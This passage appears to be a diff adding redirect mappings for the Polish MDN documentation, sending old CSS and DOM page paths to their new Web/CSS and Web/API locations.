+/pl/docs/CSS/border-left-width /pl/docs/Web/CSS/border-left-width
+/pl/docs/CSS/border-right /pl/docs/Web/CSS/border-right
+/pl/docs/CSS/border-right-color /pl/docs/Web/CSS/border-right-color
+/pl/docs/CSS/border-right-style /pl/docs/Web/CSS/border-right-style
+/pl/docs/CSS/border-right-width /pl/docs/Web/CSS/border-right-width
+/pl/docs/CSS/border-spacing /pl/docs/Web/CSS/border-spacing
+/pl/docs/CSS/border-style /pl/docs/Web/CSS/border-style
+/pl/docs/CSS/border-top /pl/docs/Web/CSS/border-top
+/pl/docs/CSS/border-top-color /pl/docs/Web/CSS/border-top-color
+/pl/docs/CSS/border-top-style /pl/docs/Web/CSS/border-top-style
+/pl/docs/CSS/border-top-width /pl/docs/Web/CSS/border-top-width
+/pl/docs/CSS/border-width /pl/docs/Web/CSS/border-width
+/pl/docs/CSS/bottom /pl/docs/Web/CSS/bottom
+/pl/docs/CSS/caption-side /pl/docs/Web/CSS/caption-side
+/pl/docs/CSS/clear /pl/docs/Web/CSS/clear
+/pl/docs/CSS/clip /pl/docs/Web/CSS/clip
+/pl/docs/CSS/color /pl/docs/Web/CSS/color
+/pl/docs/CSS/content /pl/docs/Web/CSS/content
+/pl/docs/CSS/counter-increment /pl/docs/Web/CSS/counter-increment
+/pl/docs/CSS/counter-reset /pl/docs/Web/CSS/counter-reset
+/pl/docs/CSS/cursor /pl/docs/Web/CSS/cursor
+/pl/docs/CSS/direction /pl/docs/Web/CSS/direction
+/pl/docs/CSS/display /pl/docs/Web/CSS/display
+/pl/docs/CSS/empty-cells /pl/docs/Web/CSS/empty-cells
+/pl/docs/CSS/float /pl/docs/Web/CSS/float
+/pl/docs/CSS/font /pl/docs/Web/CSS/font
+/pl/docs/CSS/font-family /pl/docs/Web/CSS/font-family
+/pl/docs/CSS/font-size /pl/docs/Web/CSS/font-size
+/pl/docs/CSS/font-size-adjust /pl/docs/Web/CSS/font-size-adjust
+/pl/docs/CSS/font-stretch /pl/docs/Web/CSS/font-stretch
+/pl/docs/CSS/font-style /pl/docs/Web/CSS/font-style
+/pl/docs/CSS/font-variant /pl/docs/Web/CSS/font-variant
+/pl/docs/CSS/font-weight /pl/docs/Web/CSS/font-weight
+/pl/docs/CSS/height /pl/docs/Web/CSS/height
+/pl/docs/CSS/ime-mode /pl/docs/Web/CSS/ime-mode
+/pl/docs/CSS/left /pl/docs/Web/CSS/left
+/pl/docs/CSS/letter-spacing /pl/docs/Web/CSS/letter-spacing
+/pl/docs/CSS/line-height /pl/docs/Web/CSS/line-height
+/pl/docs/CSS/list-style /pl/docs/Web/CSS/list-style
+/pl/docs/CSS/list-style-image /pl/docs/Web/CSS/list-style-image
+/pl/docs/CSS/list-style-position /pl/docs/Web/CSS/list-style-position
+/pl/docs/CSS/list-style-type /pl/docs/Web/CSS/list-style-type
+/pl/docs/CSS/opacity /pl/docs/Web/CSS/opacity
+/pl/docs/CSS/outline /pl/docs/Web/CSS/outline
+/pl/docs/CSS/page-break-after /pl/docs/Web/CSS/page-break-after
+/pl/docs/CSS/text-transform /pl/docs/Web/CSS/text-transform
+/pl/docs/CSS/vertical-align /pl/docs/Web/CSS/vertical-align
+/pl/docs/CSS/white-space /pl/docs/Web/CSS/white-space
+/pl/docs/CSS/word-spacing /pl/docs/Web/CSS/word-spacing
+/pl/docs/CSS/z-index /pl/docs/Web/CSS/z-index
+/pl/docs/CSS:-moz-appearance /pl/docs/Web/CSS/appearance
+/pl/docs/CSS:-moz-background-clip /pl/docs/CSS/background-clip
+/pl/docs/CSS:-moz-background-inline-policy /pl/docs/Web/CSS/box-decoration-break
+/pl/docs/CSS:-moz-background-origin /pl/docs/Web/CSS/background-origin
+/pl/docs/CSS:-moz-binding /pl/docs/Web/CSS/-moz-binding
+/pl/docs/CSS:-moz-border-bottom-colors /pl/docs/Web/CSS/-moz-border-bottom-colors
+/pl/docs/CSS:-moz-border-left-colors /pl/docs/Web/CSS/-moz-border-left-colors
+/pl/docs/CSS:-moz-border-radius /pl/docs/Web/CSS/border-radius
+/pl/docs/CSS:-moz-border-radius-bottomleft /pl/docs/Web/CSS/border-bottom-left-radius
+/pl/docs/CSS:-moz-border-radius-bottomright /pl/docs/Web/CSS/border-bottom-right-radius
+/pl/docs/CSS:-moz-border-radius-topleft /pl/docs/Web/CSS/border-top-left-radius
+/pl/docs/CSS:-moz-border-radius-topright /pl/docs/Web/CSS/border-top-right-radius
+/pl/docs/CSS:-moz-border-right-colors /pl/docs/Web/CSS/-moz-border-right-colors
+/pl/docs/CSS:-moz-border-top-colors /pl/docs/Web/CSS/-moz-border-top-colors
+/pl/docs/CSS:-moz-box-align /pl/docs/Web/CSS/-moz-box-align
+/pl/docs/CSS:-moz-box-direction /pl/docs/Web/CSS/box-direction
+/pl/docs/CSS:-moz-box-flex /pl/docs/Web/CSS/-moz-box-flex
+/pl/docs/CSS:-moz-box-orient /pl/docs/Web/CSS/-moz-box-orient
+/pl/docs/CSS:-moz-box-pack /pl/docs/Web/CSS/-moz-box-pack
+/pl/docs/CSS:-moz-box-sizing /pl/docs/Web/CSS/box-sizing
+/pl/docs/CSS:-moz-image-region /pl/docs/Web/CSS/-moz-image-region
+/pl/docs/CSS:-moz-opacity /pl/docs/Web/CSS/opacity
+/pl/docs/CSS:-moz-outline /pl/docs/Web/CSS/outline
+/pl/docs/CSS:-moz-outline-color /pl/docs/Web/CSS/-moz-outline-color
+/pl/docs/CSS:-moz-outline-offset /pl/docs/Web/CSS/outline-offset
+/pl/docs/CSS:-moz-outline-radius /pl/docs/Web/CSS/-moz-outline-radius
+/pl/docs/CSS:-moz-outline-radius-bottomleft /pl/docs/Web/CSS/-moz-outline-radius-bottomleft
+/pl/docs/CSS:-moz-outline-radius-bottomright /pl/docs/Web/CSS/-moz-outline-radius-bottomright
+/pl/docs/CSS:-moz-outline-radius-topleft /pl/docs/Web/CSS/-moz-outline-radius-topleft
+/pl/docs/CSS:-moz-outline-radius-topright /pl/docs/Web/CSS/-moz-outline-radius-topright
+/pl/docs/CSS:-moz-outline-style /pl/docs/Web/CSS/outline-style
+/pl/docs/CSS::-moz-tree-cell /pl/docs/Web/CSS/:-moz-tree-cell
+/pl/docs/CSS::-moz-tree-cell-text /pl/docs/Web/CSS/:-moz-tree-cell-text
+/pl/docs/CSS::-moz-tree-column /pl/docs/Web/CSS/:-moz-tree-column
+/pl/docs/CSS::-moz-tree-drop-feedback /pl/docs/Web/CSS/:-moz-tree-drop-feedback
+/pl/docs/CSS::-moz-tree-image /pl/docs/Web/CSS/:-moz-tree-image
+/pl/docs/CSS::-moz-tree-indentation /pl/docs/Web/CSS/:-moz-tree-indentation
+/pl/docs/CSS::-moz-tree-line /pl/docs/Web/CSS/:-moz-tree-line
+/pl/docs/CSS::-moz-tree-progressmeter /pl/docs/Web/CSS/:-moz-tree-progressmeter
+/pl/docs/CSS::-moz-tree-row /pl/docs/Web/CSS/:-moz-tree-row
+/pl/docs/CSS::-moz-tree-separator /pl/docs/Web/CSS/:-moz-tree-separator
+/pl/docs/CSS::-moz-tree-twisty /pl/docs/Web/CSS/:-moz-tree-twisty
+/pl/docs/CSS::after /pl/docs/Web/CSS/:after
+/pl/docs/CSS::before /pl/docs/Web/CSS/:before
+/pl/docs/CSS::empty /pl/docs/Web/CSS/:empty
+/pl/docs/CSS::first-child /pl/docs/Web/CSS/:first-child
+/pl/docs/CSS::first-letter /pl/docs/Web/CSS/:first-letter
+/pl/docs/CSS::first-node /pl/docs/Web/CSS/:first-node
+/pl/docs/CSS::lang /pl/docs/Web/CSS/:lang
+/pl/docs/CSS::last-child /pl/docs/Web/CSS/:last-child
+/pl/docs/CSS::last-node /pl/docs/Web/CSS/%3A-moz-last-node
+/pl/docs/CSS::not /pl/docs/Web/CSS/:not
+/pl/docs/CSS::root /pl/docs/Web/CSS/:root
+/pl/docs/CSS:@-moz-document /pl/docs/Web/CSS/%40document
+/pl/docs/CSS:@import /pl/docs/Web/CSS/@import
+/pl/docs/CSS:@media /pl/docs/Web/CSS/@media
+/pl/docs/CSS:Dokumentacje /pl/docs/CSS/Dokumentacje
+/pl/docs/CSS:Dziedziczenie /pl/docs/Web/CSS/Dziedziczenie
+/pl/docs/CSS:Inne_zasoby /pl/docs/Web/CSS/Inne_zasoby
+/pl/docs/CSS:Media:Visual /pl/docs/CSS/Media/Visual
+/pl/docs/CSS:Na_pocz%C4%85tek /pl/docs/Web/CSS/Na_pocz%C4%85tek
+/pl/docs/CSS:Na_pocz%C4%85tek:Bloki /pl/docs/Web/CSS/Na_pocz%C4%85tek/Bloki
+/pl/docs/CSS:Na_pocz%C4%85tek:Czym_jest_CSS /pl/docs/Web/CSS/Na_pocz%C4%85tek/Czym_jest_CSS
+/pl/docs/CSS:Na_pocz%C4%85tek:Czym_jest_CSS? /pl/docs/Web/CSS/Na_pocz%C4%85tek/Czym_jest_CSS
+/pl/docs/CSS:Na_pocz%C4%85tek:Czytelny_CSS /pl/docs/Web/CSS/Na_pocz%C4%85tek/Czytelny_CSS
+/pl/docs/CSS:Na_pocz%C4%85tek:Dane_XML /pl/docs/Web/CSS/Na_pocz%C4%85tek/Dane_XML
+/pl/docs/CSS:Na_pocz%C4%85tek:Grafika_SVG /pl/docs/Web/CSS/Na_pocz%C4%85tek/Grafika_SVG
+/pl/docs/CSS:Na_pocz%C4%85tek:Jak_dzia%C5%82a_CSS /pl/docs/Web/CSS/Na_pocz%C4%85tek/Jak_dzia%C5%82a_CSS
+/pl/docs/CSS:Na_pocz%C4%85tek:JavaScript /pl/docs/Web/CSS/Na_pocz%C4%85tek/JavaScript
+/pl/docs/CSS:Na_pocz%C4%85tek:Kaskadowo%C5%9B%C4%87_i_dziedziczenie /pl/docs/Web/CSS/Na_pocz%C4%85tek/Kaskadowo%C5%9B%C4%87_i_dziedziczenie
+/pl/docs/CSS:Na_pocz%C4%85tek:Kolor /pl/docs/Web/CSS/Na_pocz%C4%85tek/Kolor
+/pl/docs/CSS:Na_pocz%C4%85tek:Listy /pl/docs/Web/CSS/Na_pocz%C4%85tek/Listy
+/pl/docs/CSS:Na_pocz%C4%85tek:Media /pl/docs/Web/CSS/Na_pocz%C4%85tek/Media
+/pl/docs/CSS:Na_pocz%C4%85tek:Po_co_u%C5%BCywa%C4%87_CSS /pl/docs/Web/CSS/Na_pocz%C4%85tek/Po_co_u%C5%BCywa%C4%87_CSS
+/pl/docs/CSS:Na_pocz%C4%85tek:Po_co_u%C5%BCywa%C4%87_CSS? /pl/docs/CSS/Na_pocz%C4%85tek/Po_co_u%C5%BCywa%C4%87_CSS?
+/pl/docs/CSS:Na_pocz%C4%85tek:Selektory /pl/docs/Web/CSS/Na_pocz%C4%85tek/Selektory
+/pl/docs/CSS:Na_pocz%C4%85tek:Style_tekstowe /pl/docs/Web/CSS/Na_pocz%C4%85tek/Style_tekstowe
+/pl/docs/CSS:Na_pocz%C4%85tek:Tabele /pl/docs/Web/CSS/Na_pocz%C4%85tek/Tables
+/pl/docs/CSS:Na_pocz%C4%85tek:Tre%C5%9B%C4%87 /pl/docs/Learn/CSS/Howto/Generated_content
+/pl/docs/CSS:Na_pocz%C4%85tek:Uk%C5%82ad /pl/docs/Web/CSS/Na_pocz%C4%85tek/Uk%C5%82ad
+/pl/docs/CSS:Na_pocz%C4%85tek:Wi%C4%85zania_XBL /pl/docs/Web/CSS/Na_pocz%C4%85tek/Wi%C4%85zania_XBL
+/pl/docs/CSS:Na_pocz%C4%85tek:XUL-owe_interfejsy_u%C5%BCytkownika /pl/docs/Web/CSS/Na_pocz%C4%85tek/XUL-owe_interfejsy_u%C5%BCytkownika
+/pl/docs/CSS:Przyk%C5%82ady /pl/docs/CSS/Przyk%C5%82ady
+/pl/docs/CSS:Selektory_typu /pl/docs/Web/CSS/Selektory_typu
+/pl/docs/CSS:Spo%C5%82eczno%C5%9B%C4%87 /pl/docs/CSS/Spo%C5%82eczno%C5%9B%C4%87
+/pl/docs/CSS:Warto%C5%9B%C4%87_pocz%C4%85tkowa /pl/docs/Web/CSS/Warto%C5%9B%C4%87_pocz%C4%85tkowa
+/pl/docs/CSS:azimuth /pl/docs/Web/CSS/azimuth
+/pl/docs/CSS:background /pl/docs/Web/CSS/background
+/pl/docs/CSS:background-attachment /pl/docs/Web/CSS/background-attachment
+/pl/docs/CSS:background-color /pl/docs/Web/CSS/background-color
+/pl/docs/CSS:background-image /pl/docs/Web/CSS/background-image
+/pl/docs/CSS:background-position /pl/docs/Web/CSS/background-position
+/pl/docs/CSS:background-repeat /pl/docs/Web/CSS/background-repeat
+/pl/docs/CSS:border /pl/docs/Web/CSS/border
+/pl/docs/CSS:border-bottom /pl/docs/Web/CSS/border-bottom
+/pl/docs/CSS:border-bottom-color /pl/docs/Web/CSS/border-bottom-color
+/pl/docs/CSS:border-bottom-style /pl/docs/Web/CSS/border-bottom-style
+/pl/docs/CSS:border-bottom-width /pl/docs/Web/CSS/border-bottom-width
+/pl/docs/CSS:border-collapse /pl/docs/Web/CSS/border-collapse
+/pl/docs/CSS:border-color /pl/docs/Web/CSS/border-color
+/pl/docs/CSS:border-left /pl/docs/Web/CSS/border-left
+/pl/docs/CSS:border-left-color /pl/docs/Web/CSS/border-left-color
+/pl/docs/CSS:border-left-style /pl/docs/Web/CSS/border-left-style
+/pl/docs/CSS:border-left-width /pl/docs/Web/CSS/border-left-width
+/pl/docs/CSS:border-right /pl/docs/Web/CSS/border-right
+/pl/docs/CSS:border-right-color /pl/docs/Web/CSS/border-right-color
+/pl/docs/CSS:border-right-style /pl/docs/Web/CSS/border-right-style
+/pl/docs/CSS:border-right-width /pl/docs/Web/CSS/border-right-width
+/pl/docs/CSS:border-spacing /pl/docs/Web/CSS/border-spacing
+/pl/docs/CSS:border-style /pl/docs/Web/CSS/border-style
+/pl/docs/CSS:border-top /pl/docs/Web/CSS/border-top
+/pl/docs/CSS:border-top-color /pl/docs/Web/CSS/border-top-color
+/pl/docs/CSS:border-top-style /pl/docs/Web/CSS/border-top-style
+/pl/docs/CSS:border-top-width /pl/docs/Web/CSS/border-top-width
+/pl/docs/CSS:border-width /pl/docs/Web/CSS/border-width
+/pl/docs/CSS:bottom /pl/docs/Web/CSS/bottom
+/pl/docs/CSS:caption-side /pl/docs/Web/CSS/caption-side
+/pl/docs/CSS:clear /pl/docs/Web/CSS/clear
+/pl/docs/CSS:clip /pl/docs/Web/CSS/clip
+/pl/docs/CSS:color /pl/docs/Web/CSS/color
+/pl/docs/CSS:content /pl/docs/Web/CSS/content
+/pl/docs/CSS:counter-increment /pl/docs/Web/CSS/counter-increment
+/pl/docs/CSS:counter-reset /pl/docs/Web/CSS/counter-reset
+/pl/docs/CSS:cursor /pl/docs/Web/CSS/cursor
+/pl/docs/CSS:direction /pl/docs/Web/CSS/direction
+/pl/docs/CSS:display /pl/docs/Web/CSS/display
+/pl/docs/CSS:empty-cells /pl/docs/Web/CSS/empty-cells
+/pl/docs/CSS:float /pl/docs/Web/CSS/float
+/pl/docs/CSS:font /pl/docs/Web/CSS/font
+/pl/docs/CSS:font-family /pl/docs/Web/CSS/font-family
+/pl/docs/CSS:font-size /pl/docs/Web/CSS/font-size
+/pl/docs/CSS:font-size-adjust /pl/docs/Web/CSS/font-size-adjust
+/pl/docs/CSS:font-stretch /pl/docs/Web/CSS/font-stretch
+/pl/docs/CSS:font-style /pl/docs/Web/CSS/font-style
+/pl/docs/CSS:font-variant /pl/docs/Web/CSS/font-variant
+/pl/docs/CSS:font-weight /pl/docs/Web/CSS/font-weight
+/pl/docs/CSS:height /pl/docs/Web/CSS/height
+/pl/docs/CSS:left /pl/docs/Web/CSS/left
+/pl/docs/CSS:letter-spacing /pl/docs/Web/CSS/letter-spacing
+/pl/docs/CSS:list-style /pl/docs/Web/CSS/list-style
+/pl/docs/CSS:list-style-image /pl/docs/Web/CSS/list-style-image
+/pl/docs/CSS:list-style-position /pl/docs/Web/CSS/list-style-position
+/pl/docs/CSS:list-style-type /pl/docs/Web/CSS/list-style-type
+/pl/docs/CSS:text-transform /pl/docs/Web/CSS/text-transform
+/pl/docs/CSS:vertical-align /pl/docs/Web/CSS/vertical-align
+/pl/docs/CSS:warto%C5%9B%C4%87_wyliczona /pl/docs/CSS/warto%C5%9B%C4%87_wyliczona
+/pl/docs/CSS:white-space /pl/docs/Web/CSS/white-space
+/pl/docs/CSS:word-spacing /pl/docs/Web/CSS/word-spacing
+/pl/docs/CSS:z-index /pl/docs/Web/CSS/z-index
+/pl/docs/Checky_-_rozszerzenie_Firefoksa_(link) https://addons.mozilla.org/extensions/moreinfo.php?id=165
+/pl/docs/Chrome_Registration /pl/docs/Mozilla/Rejestracja_Chrome
+/pl/docs/Common_CSS_Questions /pl/docs/Cz%C4%99ste_Pytania_o_CSS
+/pl/docs/Cz%C4%99ste_pytania_o_CSS /pl/docs/Web/CSS/Cz%C4%99ste_pytania_o_CSS
+/pl/docs/DOM/CSS /pl/docs/Web/CSS/CSS_Reference
+/pl/docs/DOM/HTMLTableElement /pl/docs/Web/API/HTMLTableElement
+/pl/docs/DOM/Selection /pl/docs/Web/API/Selection
+/pl/docs/DOM/Selection/addRange /pl/docs/Web/API/Selection/addRange
+/pl/docs/DOM/Selection/anchorNode /pl/docs/Web/API/Selection/anchorNode
+/pl/docs/DOM/Selection/anchorOffset /pl/docs/Web/API/Selection/anchorOffset
+/pl/docs/DOM/Selection/collapse /pl/docs/Web/API/Selection/collapse
+/pl/docs/DOM/Selection/collapseToEnd /pl/docs/Web/API/Selection/collapseToEnd
+/pl/docs/DOM/Selection/collapseToStart /pl/docs/Web/API/Selection/collapseToStart
+/pl/docs/DOM/Selection/containsNode /pl/docs/Web/API/Selection/containsNode
+/pl/docs/DOM/Selection/deleteFromDocument /pl/docs/Web/API/Selection/deleteFromDocument
+/pl/docs/DOM/Selection/extend /pl/docs/Web/API/Selection/extend
+/pl/docs/DOM/Selection/focusNode /pl/docs/Web/API/Selection/focusNode
+/pl/docs/DOM/Selection/focusOffset /pl/docs/Web/API/Selection/focusOffset
+/pl/docs/DOM/Selection/getRangeAt /pl/docs/Web/API/Selection/getRangeAt
+/pl/docs/DOM/Selection/isCollapsed /pl/docs/Web/API/Selection/isCollapsed
+/pl/docs/DOM/Selection/rangeCount /pl/docs/Web/API/Selection/rangeCount
+/pl/docs/DOM/Selection/removeAllRanges /pl/docs/Web/API/Selection/removeAllRanges
+/pl/docs/DOM/Selection/removeRange /pl/docs/Web/API/Selection/removeRange
+/pl/docs/DOM/Selection/selectAllChildren /pl/docs/Web/API/Selection/selectAllChildren
+/pl/docs/DOM/Selection/toString /pl/docs/Web/API/Selection/toString
+/pl/docs/DOM/Storage /pl/docs/Web/API/Storage
+/pl/docs/DOM/cssRule /pl/docs/Web/API/CSSRule
+/pl/docs/DOM/document /pl/docs/Web/API/Document
+/pl/docs/DOM/document.URL /pl/docs/Web/API/Document/URL
+/pl/docs/DOM/document.activeElement /pl/docs/Web/API/Document/activeElement
+/pl/docs/DOM/document.alinkColor /pl/docs/Web/API/Document/alinkColor
+/pl/docs/DOM/document.anchors /pl/docs/Web/API/Document/anchors
+/pl/docs/DOM/document.applets /pl/docs/Web/API/Document/applets
+/pl/docs/DOM/document.bgColor /pl/docs/Web/API/Document/bgColor
+/pl/docs/DOM/document.body /pl/docs/Web/API/Document/body
+/pl/docs/DOM/document.characterSet /pl/docs/Web/API/Document/characterSet
+/pl/docs/DOM/document.clear /pl/docs/Web/API/Document/clear
+/pl/docs/DOM/document.close /pl/docs/Web/API/Document/close
+/pl/docs/DOM/document.compatMode /pl/docs/Web/API/Document/compatMode
+/pl/docs/DOM/document.cookie /pl/docs/Web/API/Document/cookie
+/pl/docs/DOM/document.createAttribute /pl/docs/Web/API/Document/createAttribute
+/pl/docs/DOM/document.createDocumentFragment /pl/docs/Web/API/Document/createDocumentFragment
+/pl/docs/DOM/document.createElement /pl/docs/Web/API/Document/createElement
+/pl/docs/DOM/document.createEvent /pl/docs/Web/API/Document/createEvent
+/pl/docs/DOM/document.createRange /pl/docs/Web/API/Document/createRange
+/pl/docs/DOM/document.createTextNode /pl/docs/Web/API/Document/createTextNode
+/pl/docs/DOM/document.defaultView /pl/docs/Web/API/Document/defaultView
+/pl/docs/DOM/document.doctype /pl/docs/Web/API/Document/doctype
+/pl/docs/DOM/document.documentElement /pl/docs/Web/API/Document/documentElement
+/pl/docs/DOM/document.domain /pl/docs/Web/API/Document/domain
+/pl/docs/DOM/document.embeds /pl/docs/Web/API/Document/embeds
+/pl/docs/DOM/document.fgColor /pl/docs/Web/API/Document/fgColor
+/pl/docs/DOM/document.firstChild /pl/docs/Web/API/Document/firstChild
+/pl/docs/DOM/document.forms /pl/docs/Web/API/Document/forms
+/pl/docs/DOM/document.getElementById /pl/docs/Web/API/Document/getElementById
+/pl/docs/DOM/document.getElementsByName /pl/docs/Web/API/Document/getElementsByName
+/pl/docs/DOM/document.getElementsByTagName /pl/docs/Web/API/Document/getElementsByTagName
+/pl/docs/DOM/document.hasFocus /pl/docs/Web/API/Document/hasFocus
+/pl/docs/DOM/document.height /pl/docs/Web/API/Document/height
+/pl/docs/DOM/document.images /pl/docs/Web/API/Document/images
+/pl/docs/DOM/document.implementation /pl/docs/Web/API/Document/implementation
+/pl/docs/DOM/document.importNode /pl/docs/Web/API/Document/importNode
+/pl/docs/DOM/document.lastModified /pl/docs/Web/API/Document/lastModified
+/pl/docs/DOM/document.linkColor /pl/docs/Web/API/Document/linkColor
+/pl/docs/DOM/document.links /pl/docs/Web/API/Document/links
+/pl/docs/DOM/document.loadOverlay /pl/docs/Web/API/Document/loadOverlay
+/pl/docs/DOM/document.location /pl/docs/Web/API/Document/location
+/pl/docs/DOM/document.namespaceURI /pl/docs/Web/API/Document/namespaceURI
+/pl/docs/DOM/document.open /pl/docs/Web/API/Document/open
+/pl/docs/DOM/document.plugins /pl/docs/Web/API/Document/plugins
+/pl/docs/DOM/document.referrer /pl/docs/Web/API/Document/referrer
+/pl/docs/DOM/document.styleSheets /pl/docs/Web/API/Document/styleSheets
+/pl/docs/DOM/document.title /pl/docs/Web/API/Document/title
+/pl/docs/DOM/document.vlinkColor /pl/docs/Web/API/Document/vlinkColor
+/pl/docs/DOM/document.width /pl/docs/Web/API/Document/width
+/pl/docs/DOM/document.write /pl/docs/Web/API/Document/write
+/pl/docs/DOM/document.writeln /pl/docs/Web/API/Document/writeln
+/pl/docs/DOM/element /pl/docs/Web/API/Element
+/pl/docs/DOM/element.addEventListener /pl/docs/Web/API/Element/addEventListener
+/pl/docs/DOM/element.appendChild /pl/docs/Web/API/Element/appendChild
+/pl/docs/DOM/element.attributes /pl/docs/Web/API/Element/attributes
+/pl/docs/DOM/element.blur /pl/docs/Web/API/Element/blur
+/pl/docs/DOM/element.childNodes /pl/docs/Web/API/Element/childNodes
+/pl/docs/DOM/element.className /pl/docs/Web/API/Element/className
+/pl/docs/DOM/element.click /pl/docs/Web/API/Element/click
+/pl/docs/DOM/element.clientHeight /pl/docs/Web/API/Element/clientHeight
+/pl/docs/DOM/element.clientWidth /pl/docs/Web/API/Element/clientWidth
+/pl/docs/DOM/element.cloneNode /pl/docs/Web/API/Element/clientNode
+/pl/docs/DOM/element.createAttribute /pl/docs/Web/API/Document/createAttribute
+/pl/docs/DOM/element.dir /pl/docs/Web/API/Element/dir
+/pl/docs/DOM/element.dispatchEvent /pl/docs/Web/API/Element/dispatchEvent
+/pl/docs/DOM/element.firstChild /pl/docs/Web/API/Element/firstChild
+/pl/docs/DOM/element.focus /pl/docs/Web/API/Element/focus
+/pl/docs/DOM/element.getAttribute /pl/docs/Web/API/Element/getAttribute
+/pl/docs/DOM/element.getAttributeNS /pl/docs/Web/API/Element/getAttributeNS
+/pl/docs/DOM/element.getAttributeNode /pl/docs/Web/API/Element/getAttributeNode
+/pl/docs/DOM/element.getAttributeNodeNS /pl/docs/Web/API/Element/getAttributeNodeNS
+/pl/docs/DOM/element.getElementsByTagNameNS /pl/docs/Web/API/Element/getElementsByTagNameNS
+/pl/docs/DOM/element.hasAttribute /pl/docs/Web/API/Element/hasAttribute
+/pl/docs/DOM/element.hasAttributeNS /pl/docs/Web/API/Element/hasAttributeNS
+/pl/docs/DOM/element.hasAttributes /pl/docs/Web/API/Element/hasAttributes
+/pl/docs/DOM/element.hasChildNodes /pl/docs/Web/API/Element/hasChildNodes
+/pl/docs/DOM/element.id /pl/docs/Web/API/Element/id
+/pl/docs/DOM/element.innerHTML /pl/docs/Web/API/Element/innerHTML
+/pl/docs/DOM/element.insertBefore /pl/docs/Web/API/Element/insertBefore
+/pl/docs/DOM/element.lang /pl/docs/Web/API/Element/lang
+/pl/docs/DOM/element.lastChild /pl/docs/Web/API/Element/lastChild
+/pl/docs/DOM/element.length /pl/docs/Web/API/Element/length
+/pl/docs/DOM/element.localName /pl/docs/Web/API/Element/localName
+/pl/docs/DOM/element.name /pl/docs/Web/API/Element/name
+/pl/docs/DOM/element.namespaceURI /pl/docs/Web/API/Element/namespaceURI
+/pl/docs/DOM/element.nextSibling /pl/docs/Web/API/Element/nextSibling
+/pl/docs/DOM/element.nodeName /pl/docs/Web/API/Element/nodeName
+/pl/docs/DOM/element.nodeType /pl/docs/Web/API/Element/nodeType
+/pl/docs/DOM/element.nodeValue /pl/docs/Web/API/Element/nodeValue
+/pl/docs/DOM/element.normalize /pl/docs/Web/API/Element/normalize
+/pl/docs/DOM/element.offsetHeight /pl/docs/Web/API/Element/offsetHeight
+/pl/docs/DOM/element.offsetLeft /pl/docs/Web/API/Element/offsetLeft
+/pl/docs/DOM/element.offsetParent /pl/docs/Web/API/Element/offsetParent
+/pl/docs/DOM/element.offsetWidth /pl/docs/Web/API/Element/offsetWidth
+/pl/docs/DOM/element.onclick /pl/docs/Web/API/Element/onclick
+/pl/docs/DOM/element.onkeypress /pl/docs/Web/API/Element/onkeypress
+/pl/docs/DOM/element.onkeyup /pl/docs/Web/API/Element/onkeyup
+/pl/docs/DOM/element.onmousedown /pl/docs/Web/API/Element/onmousedown
+/pl/docs/DOM/element.onmousemove /pl/docs/Web/API/Element/onmousemove
+/pl/docs/DOM/element.ownerDocument /pl/docs/Web/API/Element/ownerDocument
+/pl/docs/DOM/element.parentNode /pl/docs/Web/API/Element/parentNode
+/pl/docs/DOM/element.prefix /pl/docs/Web/API/Element/prefix
+/pl/docs/DOM/element.previousSibling /pl/docs/Web/API/Element/previousSibling
+/pl/docs/DOM/element.removeAttribute /pl/docs/Web/API/Element/removeAttribute
+/pl/docs/DOM/element.removeAttributeNS /pl/docs/Web/API/Element/removeAttributeNS
+/pl/docs/DOM/element.removeAttributeNode /pl/docs/Web/API/Element/removeAttributeNode
+/pl/docs/DOM/element.removeChild /pl/docs/Web/API/Element/removeChild
+/pl/docs/DOM/element.replaceChild /pl/docs/Web/API/Element/replaceChild
+/pl/docs/DOM/element.scrollLeft /pl/docs/Web/API/Element/scrollLeft
+/pl/docs/DOM/element.scrollTop /pl/docs/Web/API/Element/scrollTop
+/pl/docs/DOM/element.scrollWidth /pl/docs/Web/API/Element/scrollWidth
+/pl/docs/DOM/element.setAttribute /pl/docs/Web/API/Element/setAttribute
+/pl/docs/DOM/element.setAttributeNS /pl/docs/Web/API/Element/setAttributeNS
+/pl/docs/DOM/element.setAttributeNode /pl/docs/Web/API/Element/setAttributeNode
+/pl/docs/DOM/element.setAttributeNodeNS /pl/docs/Web/API/Element/setAttributeNodeNS
+/pl/docs/DOM/element.style /pl/docs/Web/API/Element/style
+/pl/docs/DOM/element.tabIndex /pl/docs/Web/API/Element/tabIndex
+/pl/docs/DOM/element.tagName /pl/docs/Web/API/Element/tagName
+/pl/docs/DOM/element.textContent /pl/docs/Web/API/Element/textContent
+/pl/docs/DOM/event /pl/docs/Web/API/Event
+/pl/docs/DOM/event.altKey /pl/docs/Web/API/Event/altKey
+/pl/docs/DOM/event.bubbles /pl/docs/Web/API/Event/bubbles
+/pl/docs/DOM/event.button /pl/docs/Web/API/Event/button
+/pl/docs/DOM/event.cancelBubble /pl/docs/Web/API/Event/cancelBubble
+/pl/docs/DOM/event.cancelable /pl/docs/Web/API/Event/cancelable
+/pl/docs/DOM/event.charCode /pl/docs/Web/API/Event/charCode
+/pl/docs/DOM/event.clientX /pl/docs/Web/API/Event/clientX
+/pl/docs/DOM/event.clientY /pl/docs/Web/API/Event/clientY
+/pl/docs/DOM/event.ctrlKey /pl/docs/Web/API/Event/ctrlKey
+/pl/docs/DOM/event.currentTarget /pl/docs/Web/API/Event/currentTarget
+/pl/docs/DOM/event.detail /pl/docs/Web/API/Event/detail
+/pl/docs/DOM/event.eventPhase /pl/docs/Web/API/Event/eventPhase
+/pl/docs/DOM/event.initEvent /pl/docs/Web/API/Event/initEvent
+/pl/docs/DOM/event.initMouseEvent /pl/docs/Web/API/Event/initMouseEvent
+/pl/docs/DOM/event.initUIEvent /pl/docs/Web/API/Event/initUIEvent
+/pl/docs/DOM/event.isChar /pl/docs/Web/API/Event/isChar
+/pl/docs/DOM/event.keyCode /pl/docs/Web/API/Event/keyCode
+/pl/docs/DOM/event.layerX /pl/docs/Web/API/Event/layerX
+/pl/docs/DOM/event.layerY /pl/docs/Web/API/Event/layerY
+/pl/docs/DOM/event.metaKey /pl/docs/Web/API/Event/metaKey
+/pl/docs/DOM/event.pageX /pl/docs/Web/API/Event/pageX
+/pl/docs/DOM/event.pageY /pl/docs/Web/API/Event/pageY
+/pl/docs/DOM/event.relatedTarget /pl/docs/Web/API/Event/relatedTarget
+/pl/docs/DOM/event.screenX /pl/docs/Web/API/Event/screenX
+/pl/docs/DOM/event.screenY /pl/docs/Web/API/Event/screenY
+/pl/docs/DOM/event.shiftKey /pl/docs/Web/API/Event/shiftKey
